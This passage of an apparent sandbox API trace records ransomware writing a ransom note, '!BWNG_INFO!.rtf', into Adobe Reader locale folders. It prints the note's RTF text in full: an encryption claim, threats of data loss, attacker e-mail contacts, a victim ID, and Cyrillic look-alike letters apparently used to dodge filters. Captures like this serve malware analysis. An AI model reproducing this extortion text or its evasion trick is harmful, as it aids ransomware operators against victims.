n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.350] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.354] CloseHandle (hObject=0x1ac) returned 1 [0042.354] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\!bwng_info!.rtf")) returned 0xffffffff [0042.354] GetLastError () returned 0x2 [0042.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 